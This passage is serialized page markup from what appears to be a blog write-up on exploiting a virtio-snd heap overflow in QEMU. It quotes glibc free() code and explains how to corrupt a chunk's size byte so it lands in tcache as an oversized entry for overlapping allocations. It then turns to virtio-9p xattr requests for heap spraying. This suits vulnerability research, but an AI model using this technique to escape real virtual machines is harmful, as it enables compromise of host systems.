",{"type":22,"tag":118,"props":128543,"children":128544},{"style":210},[128545],{"type":28,"value":12460},{"type":22,"tag":118,"props":128547,"children":128548},{"style":125},[128549],{"type":28,"value":842},{"type":22,"tag":118,"props":128551,"children":128552},{"style":146},[128553],{"type":28,"value":128536},{"type":22,"tag":118,"props":128555,"children":128556},{"style":125},[128557],{"type":28,"value":588},{"type":22,"tag":118,"props":128559,"children":128560},{"style":210},[128561],{"type":28,"value":6340},{"type":22,"tag":118,"props":128563,"children":128564},{"style":125},[128565],{"type":28,"value":128566},"size, ",{"type":22,"tag":118,"props":128568,"children":128569},{"style":674},[128570],{"type":28,"value":6036},{"type":22,"tag":118,"props":128572,"children":128573},{"style":125},[128574],{"type":28,"value":3665},{"type":22,"tag":118,"props":128576,"children":128577},{"class":120,"line":417},[128578,128583,128588,128592,128597,128602,128606],{"type":22,"tag":118,"props":128579,"children":128580},{"style":210},[128581],{"type":28,"value":128582},"      ||",{"type":22,"tag":118,"props":128584,"children":128585},{"style":532},[128586],{"type":28,"value":128587}," __builtin_expect",{"type":22,"tag":118,"props":128589,"children":128590},{"style":125},[128591],{"type":28,"value":842},{"type":22,"tag":118,"props":128593,"children":128594},{"style":532},[128595],{"type":28,"value":128596},"misaligned_chunk",{"type":22,"tag":118,"props":128598,"children":128599},{"style":125},[128600],{"type":28,"value":128601}," (p), ",{"type":22,"tag":118,"props":128603,"children":128604},{"style":674},[128605],{"type":28,"value":6036},{"type":22,"tag":118,"props":128607,"children":128608},{"style":125},[128609],{"type":28,"value":3334},{"type":22,"tag":118,"props":128611,"children":128612},{"class":120,"line":425},[128613,128618,128622,128627],{"type":22,"tag":118,"props":128614,"children":128615},{"style":532},[128616],{"type":28,"value":128617},"    malloc_printerr",{"type":22,"tag":118,"props":128619,"children":128620},{"style":125},[128621],{"type":28,"value":842},{"type":22,"tag":118,"props":128623,"children":128624},{"style":1866},[128625],{"type":28,"value":128626},"\"free(): invalid pointer\"",{"type":22,"tag":118,"props":128628,"children":128629},{"style":125},[128630],{"type":28,"value":682},{"type":22,"tag":118,"props":128632,"children":128633},{"class":120,"line":441},[128634],{"type":22,"tag":118,"props":128635,"children":128636},{"style":257},[128637],{"type":28,"value":128638},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":22,"tag":118,"props":128640,"children":128641},{"class":120,"line":475},[128642],{"type":22,"tag":118,"props":128643,"children":128644},{"style":257},[128645],{"type":28,"value":128646},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":22,"tag":118,"props":128648,"children":128649},{"class":120,"line":484},[128650,128654,128658,128663,128668,128672,128677,128681,128685,128690],{"type":22,"tag":118,"props":128651,"children":128652},{"style":1480},[128653],{"type":28,"value":33333},{"type":22,"tag":118,"props":128655,"children":128656},{"style":125},[128657],{"type":28,"value":842},{"type":22,"tag":118,"props":128659,"children":128660},{"style":532},[128661],{"type":28,"value":128662},"__glibc_unlikely",{"type":22,"tag":118,"props":128664,"children":128665},{"style":125},[128666],{"type":28,"value":128667}," (size ",{"type":22,"tag":118,"props":128669,"children":128670},{"style":210},[128671],{"type":28,"value":559},{"type":22,"tag":118,"props":128673,"children":128674},{"style":125},[128675],{"type":28,"value":128676}," MINSIZE ",{"type":22,"tag":118,"props":128678,"children":128679},{"style":210},[128680],{"type":28,"value":24373},{"type":22,"tag":118,"props":128682,"children":128683},{"style":210},[128684],{"type":28,"value":2164},{"type":22,"tag":118,"props":128686,"children":128687},{"style":532},[128688],{"type":28,"value":128689},"aligned_OK",{"type":22,"tag":118,"props":128691,"children":128692},{"style":125},[128693],{"type":28,"value":128694}," (size)))\n",{"type":22,"tag":118,"props":128696,"children":128697},{"class":120,"line":492},[128698,128702,128706,128711],{"type":22,"tag":118,"props":128699,"children":128700},{"style":532},[128701],{"type":28,"value":128617},{"type":22,"tag":118,"props":128703,"children":128704},{"style":125},[128705],{"type":28,"value":842},{"type":22,"tag":118,"props":128707,"children":128708},{"style":1866},[128709],{"type":28,"value":128710},"\"free(): invalid size\"",{"type":22,"tag":118,"props":128712,"children":128713},{"style":125},[128714],{"type":28,"value":682},{"type":22,"tag":118,"props":128716,"children":128717},{"class":120,"line":501},[128718],{"type":22,"tag":118,"props":128719,"children":128720},{"emptyLinePlaceholder":15},[128721],{"type":28,"value":250},{"type":22,"tag":118,"props":128723,"children":128724},{"class":120,"line":519},[128725,128730],{"type":22,"tag":118,"props":128726,"children":128727},{"style":532},[128728],{"type":28,"value":128729},"  check_inuse_chunk",{"type":22,"tag":118,"props":128731,"children":128732},{"style":125},[128733],{"type":28,"value":128734},"(av, p);\n",{"type":22,"tag":118,"props":128736,"children":128737},{"class":120,"line":606},[128738],{"type":22,"tag":118,"props":128739,"children":128740},{"emptyLinePlaceholder":15},[128741],{"type":28,"value":250},{"type":22,"tag":118,"props":128743,"children":128744},{"class":120,"line":615},[128745],{"type":22,"tag":118,"props":128746,"children":128747},{"style":125},[128748],{"type":28,"value":128749},"  [...]\n",{"type":22,"tag":31,"props":128751,"children":128752},{},[128753],{"type":28,"value":128754},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":22,"tag":31,"props":128756,"children":128757},{},[128758,128760,128765,128767,128772,128774,128779,128781,128786],{"type":28,"value":128759},"The next check, however, ensures that the ",{"type":22,"tag":114,"props":128761,"children":128763},{"className":128762},[],[128764],{"type":28,"value":125856},{"type":28,"value":128766}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":22,"tag":114,"props":128768,"children":128770},{"className":128769},[],[128771],{"type":28,"value":125856},{"type":28,"value":128773}," must preserve alignment while also avoiding the ",{"type":22,"tag":114,"props":128775,"children":128777},{"className":128776},[],[128778],{"type":28,"value":128025},{"type":28,"value":128780}," bit. Under those constraints, exploiting the bug through ",{"type":22,"tag":114,"props":128782,"children":128784},{"className":128783},[],[128785],{"type":28,"value":125856},{"type":28,"value":128787}," corruption looked very unreliable at first.",{"type":22,"tag":31,"props":128789,"children":128790},{},[128791],{"type":28,"value":128792},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":22,"tag":107,"props":128794,"children":128796},{"code":128795,"language":5169,"meta":7,"className":18481,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[128797],{"type":22,"tag":114,"props":128798,"children":128799},{"__ignoreMap":7},[128800,128808,128835,128842,128849,128856,128875,128882,128902,128909,128937,128961,128968,128981,129023,129030,129038,129045,129062],{"type":22,"tag":118,"props":128801,"children":128802},{"class":120,"line":121},[128803],{"type":22,"tag":118,"props":128804,"children":128805},{"style":146},[128806],{"type":28,"value":128807},"void\n",{"type":22,"tag":118,"props":128809,"children":128810},{"class":120,"line":142},[128811,128815,128819,128823,128827,128831],{"type":22,"tag":118,"props":128812,"children":128813},{"style":532},[128814],{"type":28,"value":128073},{"type":22,"tag":118,"props":128816,"children":128817},{"style":125},[128818],{"type":28,"value":842},{"type":22,"tag":118,"props":128820,"children":128821},{"style":146},[128822],{"type":28,"value":53568},{"type":22,"tag":118,"props":128824,"children":128825},{"style":210},[128826],{"type":28,"value":11815},{"type":22,"tag":118,"props":128828,"children":128829},{"style":204},[128830],{"type":28,"value":42603},{"type":22,"tag":118,"props":128832,"children":128833},{"style":125},[128834],{"type":28,"value":3665},{"type":22,"tag":118,"props":128836,"children":128837},{"class":120,"line":177},[128838],{"type":22,"tag":118,"props":128839,"children":128840},{"style":125},[128841],{"type":28,"value":12879},{"type":22,"tag":118,"props":128843,"children":128844},{"class":120,"line":195},[128845],{"type":22,"tag":118,"props":128846,"children":128847},{"style":125},[128848],{"type":28,"value":128116},{"type":22,"tag":118,"props":128850,"children":128851},{"class":120,"line":244},[128852],{"type":22,"tag":118,"props":128853,"children":128854},{"emptyLinePlaceholder":15},[128855],{"type":28,"value":250},{"type":22,"tag":118,"props":128857,"children":128858},{"class":120,"line":253},[128859,128863,128867,128871],{"type":22,"tag":118,"props":128860,"children":128861},{"style":125},[128862],{"type":28,"value":128131},{"type":22,"tag":118,"props":128864,"children":128865},{"style":210},[128866],{"type":28,"value":282},{"type":22,"tag":118,"props":128868,"children":128869},{"style":532},[128870],{"type":28,"value":128140},{"type":22,"tag":118,"props":128872,"children":128873},{"style":125},[128874],{"type":28,"value":128145},{"type":22,"tag":118,"props":128876,"children":128877},{"class":120,"line":263},[128878],{"type":22,"tag":118,"props":128879,"children":128880},{"emptyLinePlaceholder":15},[128881],{"type":28,"value":250},{"type":22,"tag":118,"props":128883,"children":128884},{"class":120,"line":318},[128885,128890,128894,128898],{"type":22,"tag":118,"props":128886,"children":128887},{"style":125},[128888],{"type":28,"value":128889},"  INTERNAL_SIZE_T size ",{"type":22,"tag":118,"props":128891,"children":128892},{"style":210},[128893],{"type":28,"value":282},{"type":22,"tag":118,"props":128895,"children":128896},{"style":532},[128897],{"type":28,"value":128467},{"type":22,"tag":118,"props":128899,"children":128900},{"style":125},[128901],{"type":28,"value":128186},{"type":22,"tag":118,"props":128903,"children":128904},{"class":120,"line":351},[128905],{"type":22,"tag":118,"props":128906,"children":128907},{"emptyLinePlaceholder":15},[128908],{"type":28,"value":250},{"type":22,"tag":118,"props":128910,"children":128911},{"class":120,"line":359},[128912,128916,128920,128924,128928,128932],{"type":22,"tag":118,"props":128913,"children":128914},{"style":1480},[128915],{"type":28,"value":33333},{"type":22,"tag":118,"props":128917,"children":128918},{"style":125},[128919],{"type":28,"value":842},{"type":22,"tag":118,"props":128921,"children":128922},{"style":532},[128923],{"type":28,"value":128662},{"type":22,"tag":118,"props":128925,"children":128926},{"style":125},[128927],{"type":28,"value":842},{"type":22,"tag":118,"props":128929,"children":128930},{"style":532},[128931],{"type":28,"value":128596},{"type":22,"tag":118,"props":128933,"children":128934},{"style":125},[128935],{"type":28,"value":128936}," (p)))\n",{"type":22,"tag":118,"props":128938,"children":128939},{"class":120,"line":368},[128940,128944,128949,128953,128957],{"type":22,"tag":118,"props":128941,"children":128942},{"style":1480},[128943],{"type":28,"value":18954},{"type":22,"tag":118,"props":128945,"children":128946},{"style":532},[128947],{"type":28,"value":128948}," malloc_printerr_tail",{"type":22,"tag":118,"props":128950,"children":128951},{"style":125},[128952],{"type":28,"value":842},{"type":22,"tag":118,"props":128954,"children":128955},{"style":1866},[128956],{"type":28,"value":128626},{"type":22,"tag":118,"props":128958,"children":128959},{"style":125},[128960],{"type":28,"value":682},{"type":22,"tag":118,"props":128962,"children":128963},{"class":120,"line":384},[128964],{"type":22,"tag":118,"props":128965,"children":128966},{"emptyLinePlaceholder":15},[128967],{"type":28,"value":250},{"type":22,"tag":118,"props":128969,"children":128970},{"class":120,"line":417},[128971,128976],{"type":22,"tag":118,"props":128972,"children":128973},{"style":1480},[128974],{"type":28,"value":128975},"#if",{"type":22,"tag":118,"props":128977,"children":128978},{"style":532},[128979],{"type":28,"value":128980}," USE_TCACHE\n",{"type":22,"tag":118,"props":128982,"children":128983},{"class":120,"line":425},[128984,128988,128992,128997,129001,129005,129010,129014,129019],{"type":22,"tag":118,"props":128985,"children":128986},{"style":1480},[128987],{"type":28,"value":33333},{"type":22,"tag":118,"props":128989,"children":128990},{"style":125},[128991],{"type":28,"value":842},{"type":22,"tag":118,"props":128993,"children":128994},{"style":532},[128995],{"type":28,"value":128996},"__glibc_likely",{"type":22,"tag":118,"props":128998,"children":128999},{"style":125},[129000],{"type":28,"value":128667},{"type":22,"tag":118,"props":129002,"children":129003},{"style":210},[129004],{"type":28,"value":559},{"type":22,"tag":118,"props":129006,"children":129007},{"style":204},[129008],{"type":28,"value":129009}," mp_",{"type":22,"tag":118,"props":129011,"children":129012},{"style":125},[129013],{"type":28,"value":292},{"type":22,"tag":118,"props":129015,"children":129016},{"style":204},[129017],{"type":28,"value":129018},"tcache_max_bytes",{"type":22,"tag":118,"props":129020,"children":129021},{"style":125},[129022],{"type":28,"value":3334},{"type":22,"tag":118,"props":129024,"children":129025},{"class":120,"line":441},[129026],{"type":22,"tag":118,"props":129027,"children":129028},{"style":125},[129029],{"type":28,"value":31125},{"type":22,"tag":118,"props":129031,"children":129032},{"class":120,"line":475},[129033],{"type":22,"tag":118,"props":129034,"children":129035},{"style":125},[129036],{"type":28,"value":129037},"      [...]\n",{"type":22,"tag":118,"props":129039,"children":129040},{"class":120,"line":484},[129041],{"type":22,"tag":118,"props":129042,"children":129043},{"emptyLinePlaceholder":15},[129044],{"type":28,"value":250},{"type":22,"tag":118,"props":129046,"children":129047},{"class":120,"line":492},[129048,129052,129057],{"type":22,"tag":118,"props":129049,"children":129050},{"style":1480},[129051],{"type":28,"value":41298},{"type":22,"tag":118,"props":129053,"children":129054},{"style":532},[129055],{"type":28,"value":129056}," tcache_put",{"type":22,"tag":118,"props":129058,"children":129059},{"style":125},[129060],{"type":28,"value":129061}," (p, tc_idx);\n",{"type":22,"tag":118,"props":129063,"children":129064},{"class":120,"line":501},[129065],{"type":22,"tag":118,"props":129066,"children":129067},{"style":125},[129068],{"type":28,"value":1254},{"type":22,"tag":31,"props":129070,"children":129071},{},[129072,129074,129079],{"type":28,"value":129073},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":22,"tag":114,"props":129075,"children":129077},{"className":129076},[],[129078],{"type":28,"value":125856},{"type":28,"value":129080}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":22,"tag":31,"props":129082,"children":129083},{},[129084,129086,129092,129093,129098],{"type":28,"value":129085},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":22,"tag":114,"props":129087,"children":129089},{"className":129088},[],[129090],{"type":28,"value":129091},"check_inuse_chunk",{"type":28,"value":842},{"type":22,"tag":114,"props":129094,"children":129096},{"className":129095},[],[129097],{"type":28,"value":125984},{"type":28,"value":25891},{"type":22,"tag":107,"props":129100,"children":129102},{"code":129101,"language":5169,"meta":7,"className":18481,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[129103],{"type":22,"tag":114,"props":129104,"children":129105},{"__ignoreMap":7},[129106,129113,129140,129147,129154,129161,129180,129187,129206,129213,129240,129263,129270,129296,129303,129314,129371],{"type":22,"tag":118,"props":129107,"children":129108},{"class":120,"line":121},[129109],{"type":22,"tag":118,"props":129110,"children":129111},{"style":146},[129112],{"type":28,"value":128807},{"type":22,"tag":118,"props":129114,"children":129115},{"class":120,"line":142},[129116,129120,129124,129128,129132,129136],{"type":22,"tag":118,"props":129117,"children":129118},{"style":532},[129119],{"type":28,"value":128073},{"type":22,"tag":118,"props":129121,"children":129122},{"style":125},[129123],{"type":28,"value":842},{"type":22,"tag":118,"props":129125,"children":129126},{"style":146},[129127],{"type":28,"value":53568},{"type":22,"tag":118,"props":129129,"children":129130},{"style":210},[129131],{"type":28,"value":11815},{"type":22,"tag":118,"props":129133,"children":129134},{"style":204},[129135],{"type":28,"value":42603},{"type":22,"tag":118,"props":129137,"children":129138},{"style":125},[129139],{"type":28,"value":3665},{"type":22,"tag":118,"props":129141,"children":129142},{"class":120,"line":177},[129143],{"type":22,"tag":118,"props":129144,"children":129145},{"style":125},[129146],{"type":28,"value":12879},{"type":22,"tag":118,"props":129148,"children":129149},{"class":120,"line":195},[129150],{"type":22,"tag":118,"props":129151,"children":129152},{"style":125},[129153],{"type":28,"value":128116},{"type":22,"tag":118,"props":129155,"children":129156},{"class":120,"line":244},[129157],{"type":22,"tag":118,"props":129158,"children":129159},{"emptyLinePlaceholder":15},[129160],{"type":28,"value":250},{"type":22,"tag":118,"props":129162,"children":129163},{"class":120,"line":253},[129164,129168,129172,129176],{"type":22,"tag":118,"props":129165,"children":129166},{"style":125},[129167],{"type":28,"value":128131},{"type":22,"tag":118,"props":129169,"children":129170},{"style":210},[129171],{"type":28,"value":282},{"type":22,"tag":118,"props":129173,"children":129174},{"style":532},[129175],{"type":28,"value":128140},{"type":22,"tag":118,"props":129177,"children":129178},{"style":125},[129179],{"type":28,"value":128145},{"type":22,"tag":118,"props":129181,"children":129182},{"class":120,"line":263},[129183],{"type":22,"tag":118,"props":129184,"children":129185},{"emptyLinePlaceholder":15},[129186],{"type":28,"value":250},{"type":22,"tag":118,"props":129188,"children":129189},{"class":120,"line":318},[129190,129194,129198,129202],{"type":22,"tag":118,"props":129191,"children":129192},{"style":125},[129193],{"type":28,"value":128889},{"type":22,"tag":118,"props":129195,"children":129196},{"style":210},[129197],{"type":28,"value":282},{"type":22,"tag":118,"props":129199,"children":129200},{"style":532},[129201],{"type":28,"value":128467},{"type":22,"tag":118,"props":129203,"children":129204},{"style":125},[129205],{"type":28,"value":128186},{"type":22,"tag":118,"props":129207,"children":129208},{"class":120,"line":351},[129209],{"type":22,"tag":118,"props":129210,"children":129211},{"emptyLinePlaceholder":15},[129212],{"type":28,"value":250},{"type":22,"tag":118,"props":129214,"children":129215},{"class":120,"line":359},[129216,129220,129224,129228,129232,129236],{"type":22,"tag":118,"props":129217,"children":129218},{"style":1480},[129219],{"type":28,"value":33333},{"type":22,"tag":118,"props":129221,"children":129222},{"style":125},[129223],{"type":28,"value":842},{"type":22,"tag":118,"props":129225,"children":129226},{"style":532},[129227],{"type":28,"value":128662},{"type":22,"tag":118,"props":129229,"children":129230},{"style":125},[129231],{"type":28,"value":842},{"type":22,"tag":118,"props":129233,"children":129234},{"style":532},[129235],{"type":28,"value":128596},{"type":22,"tag":118,"props":129237,"children":129238},{"style":125},[129239],{"type":28,"value":128936},{"type":22,"tag":118,"props":129241,"children":129242},{"class":120,"line":368},[129243,129247,129251,129255,129259],{"type":22,"tag":118,"props":129244,"children":129245},{"style":1480},[129246],{"type":28,"value":18954},{"type":22,"tag":118,"props":129248,"children":129249},{"style":532},[129250],{"type":28,"value":128948},{"type":22,"tag":118,"props":129252,"children":129253},{"style":125},[129254],{"type":28,"value":842},{"type":22,"tag":118,"props":129256,"children":129257},{"style":1866},[129258],{"type":28,"value":128626},{"type":22,"tag":118,"props":129260,"children":129261},{"style":125},[129262],{"type":28,"value":682},{"type":22,"tag":118,"props":129264,"children":129265},{"class":120,"line":384},[129266],{"type":22,"tag":118,"props":129267,"children":129268},{"emptyLinePlaceholder":15},[129269],{"type":28,"value":250},{"type":22,"tag":118,"props":129271,"children":129272},{"class":120,"line":417},[129273,129277,129281,129286,129291],{"type":22,"tag":118,"props":129274,"children":129275},{"style":532},[129276],{"type":28,"value":128729},{"type":22,"tag":118,"props":129278,"children":129279},{"style":125},[129280],{"type":28,"value":842},{"type":22,"tag":118,"props":129282,"children":129283},{"style":532},[129284],{"type":28,"value":129285},"arena_for_chunk",{"type":22,"tag":118,"props":129287,"children":129288},{"style":125},[129289],{"type":28,"value":129290}," (p), p);",{"type":22,"tag":118,"props":129292,"children":129293},{"style":257},[129294],{"type":28,"value":129295},"             // [1]\n",{"type":22,"tag":118,"props":129297,"children":129298},{"class":120,"line":425},[129299],{"type":22,"tag":118,"props":129300,"children":129301},{"emptyLinePlaceholder":15},[129302],{"type":28,"value":250},{"type":22,"tag":118,"props":129304,"children":129305},{"class":120,"line":441},[129306,129310],{"type":22,"tag":118,"props":129307,"children":129308},{"style":1480},[129309],{"type":28,"value":128975},{"type":22,"tag":118,"props":129311,"children":129312},{"style":532},[129313],{"type":28,"value":128980},{"type":22,"tag":118,"props":129315,"children":129316},{"class":120,"line":475},[129317,129321,129325,129329,129333,129337,129341,129345,129349,129353,129358,129362,129367],{"type":22,"tag":118,"props":129318,"children":129319},{"style":1480},[129320],{"type":28,"value":33333},{"type":22,"tag":118,"props":129322,"children":129323},{"style":125},[129324],{"type":28,"value":842},{"type":22,"tag":118,"props":129326,"children":129327},{"style":532},[129328],{"type":28,"value":128996},{"type":22,"tag":118,"props":129330,"children":129331},{"style":125},[129332],{"type":28,"value":128667},{"type":22,"tag":118,"props":129334,"children":129335},{"style":210},[129336],{"type":28,"value":559},{"type":22,"tag":118,"props":129338,"children":129339},{"style":204},[129340],{"type":28,"value":129009},{"type":22,"tag":118,"props":129342,"children":129343},{"style":125},[129344],{"type":28,"value":292},{"type":22,"tag":118,"props":129346,"children":129347},{"style":204},[129348],{"type":28,"value":129018},{"type":22,"tag":118,"props":129350,"children":129351},{"style":210},[129352],{"type":28,"value":1789},{"type":22,"tag":118,"props":129354,"children":129355},{"style":125},[129356],{"type":28,"value":129357}," tcache ",{"type":22,"tag":118,"props":129359,"children":129360},{"style":210},[129361],{"type":28,"value":17659},{"type":22,"tag":118,"props":129363,"children":129364},{"style":146},[129365],{"type":28,"value":129366}," NULL",{"type":22,"tag":118,"props":129368,"children":129369},{"style":125},[129370],{"type":28,"value":3334},{"type":22,"tag":118,"props":129372,"children":129373},{"class":120,"line":484},[129374],{"type":22,"tag":118,"props":129375,"children":129376},{"style":125},[129377],{"type":28,"value":128749},{"type":22,"tag":31,"props":129379,"children":129380},{},[129381,129383,129388],{"type":28,"value":129382},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":22,"tag":114,"props":129384,"children":129386},{"className":129385},[],[129387],{"type":28,"value":125856},{"type":28,"value":129389},", because on the latest 2.43 glibc they are non-existent.",{"type":22,"tag":20760,"props":129391,"children":129392},{},[],{"type":22,"tag":31,"props":129394,"children":129395},{},[129396,129398,129403,129405,129411,129413,129418,129420,129426],{"type":28,"value":129397},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":22,"tag":114,"props":129399,"children":129401},{"className":129400},[],[129402],{"type":28,"value":125856},{"type":28,"value":129404}," field was initially ",{"type":22,"tag":114,"props":129406,"children":129408},{"className":129407},[],[129409],{"type":28,"value":129410},"0x200",{"type":28,"value":129412},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":22,"tag":114,"props":129414,"children":129416},{"className":129415},[],[129417],{"type":28,"value":128033},{"type":28,"value":129419},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":22,"tag":114,"props":129421,"children":129423},{"className":129422},[],[129424],{"type":28,"value":129425},"[0x210, 0x2f0]",{"type":28,"value":129427},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":22,"tag":31,"props":129429,"children":129430},{},[129431],{"type":28,"value":129432},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":22,"tag":1289,"props":129434,"children":129436},{"id":129435},"heap-spraying",[129437],{"type":28,"value":129438},"Heap Spraying",{"type":22,"tag":31,"props":129440,"children":129441},{},[129442,129444,129449],{"type":28,"value":129443},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":22,"tag":114,"props":129445,"children":129447},{"className":129446},[],[129448],{"type":28,"value":129410},{"type":28,"value":129450},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":22,"tag":31,"props":129452,"children":129453},{},[129454,129456,129461],{"type":28,"value":129455},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":22,"tag":114,"props":129457,"children":129459},{"className":129458},[],[129460],{"type":28,"value":126051},{"type":28,"value":129462}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":22,"tag":31,"props":129464,"children":129465},{},[129466],{"type":28,"value":129467},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":22,"tag":1899,"props":129469,"children":129471},{"id":129470},"virtio-9p",[129472],{"type":28,"value":129470},{"type":22,"tag":31,"props":129474,"children":129475},{},[129476,129481],{"type":22,"tag":114,"props":129477,"children":129479},{"className":129478},[],[129480],{"type":28,"value":129470},{"type":28,"value":129482}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":22,"tag":31,"props":129484,"children":129485},{},[129486,129488,129494,129496,129502,129503,129509,129511,129516],{"type":28,"value":129487},"Through a ",{"type":22,"tag":114,"props":129489,"children":129491},{"className":129490},[],[129492],{"type":28,"value":129493},"P9_TXATTRCREATE",{"type":28,"value":129495}," request, we can allocate host-side buffers for both the ",{"type":22,"tag":114,"props":129497,"children":129499},{"className":129498},[],[129500],{"type":28,"value":129501},".name",{"type":28,"value":12991},{"type":22,"tag":114,"props":129504,"children":129506},{"className":129505},[],[129507],{"type":28,"value":129508},".value",{"type":28,"value":129510}," fields, with the size of ",{"type":22,"tag":114,"props":129512,"children":129514},{"className":129513},[],[129515],{"type":28,"value":129508},{"type":28,"value":129517}," being directly controlled by the guest.",{"type":22,"tag":107,"props":129519,"children":129521},{"code":129520,"language":5169,"meta":7,"className":18481,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[129522],{"type":22,"tag":114,"props":129523,"children":129524},{"__ignoreMap":7},[129525,129567,129574,129598,129611,129622,129647,129655,129680,129697,129713,129739,129746,129767,129833,129857,129870,129877,129884,129891,129898,129918,129939,129950,129957,129964,129971,129978,130027,130083,130128],{"type":22,"tag":118,"props":129526,"children":129527},{"class":120,"line":121},[129528,129532,129536,129541,129546,129550,129554,129558,129563],{"type":22,"tag":118,"props":129529,"children":129530},{"style":146},[129531],{"type":28,"value":52985},{"type":22,"tag":118,"props":129533,"children":129534},{"style":146},[129535],{"type":28,"value":52990},{"type":22,"tag":118,"props":129537,"children":129538},{"style":125},[129539],{"type":28,"value":129540}," coroutine_fn ",{"type":22,"tag":118,"props":129542,"children":129543},{"style":532},[129544],{"type":28,"value":129545},"v9fs_xattrcreate",{"type":22,"tag":118,"props":129547,"children":129548},{"style":125},[129549],{"type":28,"value":540},{"type":22,"tag":118,"props":129551,"children":129552},{"style":146},[129553],{"type":28,"value":53568},{"type":22,"tag":118,"props":129555,"children":129556},{"style":210},[129557],{"type":28,"value":11815},{"type":22,"tag":118,"props":129559,"children":129560},{"style":204},[129561],{"type":28,"value":129562},"opaque",{"type":22,"tag":118,"props":129564,"children":129565},{"style":125},[129566],{"type":28,"value":3665},{"type":22,"tag":118,"props":129568,"children":129569},{"class":120,"line":142},[129570],{"type":22,"tag":118,"props":129571,"children":129572},{"style":125},[129573],{"type":28,"value":12879},{"type":22,"tag":118,"props":129575,"children":129576},{"class":120,"line":177},[129577,129581,129586,129590,129594],{"type":22,"tag":118,"props":129578,"children":129579},{"style":146},[129580],{"type":28,"value":21044},{"type":22,"tag":118,"props":129582,"children":129583},{"style":125},[129584],{"type":28,"value":129585}," flags, rflags ",{"type":22,"tag":118,"props":129587,"children":129588},{"style":210},[129589],{"type":28,"value":282},{"type":22,"tag":118,"props":129591,"children":129592},{"style":674},[129593],{"type":28,"value":5074},{"type":22,"tag":118,"props":129595,"children":129596},{"style":125},[129597],{"type":28,"value":801},{"type":22,"tag":118,"props":129599,"children":129600},{"class":120,"line":195},[129601,129606],{"type":22,"tag":118,"props":129602,"children":129603},{"style":146},[129604],{"type":28,"value":129605},"    int32_t",{"type":22,"tag":118,"props":129607,"children":129608},{"style":125},[129609],{"type":28,"value":129610}," fid;\n",{"type":22,"tag":118,"props":129612,"children":129613},{"class":120,"line":244},[129614,129618],{"type":22,"tag":118,"props":129615,"children":129616},{"style":146},[129617],{"type":28,"value":57553},{"type":22,"tag":118,"props":129619,"children":129620},{"style":125},[129621],{"type":28,"value":126198},{"type":22,"tag":118,"props":129623,"children":129624},{"class":120,"line":253},[129625,129630,129635,129639,129643],{"type":22,"tag":118,"props":129626,"children":129627},{"style":146},[129628],{"type":28,"value":129629},"    ssize_t",{"type":22,"tag":118,"props":129631,"children":129632},{"style":125},[129633],{"type":28,"value":129634}," err ",{"type":22,"tag":118,"props":129636,"children":129637},{"style":210},[129638],{"type":28,"value":282},{"type":22,"tag":118,"props":129640,"children":129641},{"style":674},[129642],{"type":28,"value":5074},{"type":22,"tag":118,"props":129644,"children":129645},{"style":125},[129646],{"type":28,"value":801},{"type":22,"tag":118,"props":129648,"children":129649},{"class":120,"line":263},[129650],{"type":22,"tag":118,"props":129651,"children":129652},{"style":125},[129653],{"type":28,"value":129654},"    V9fsString 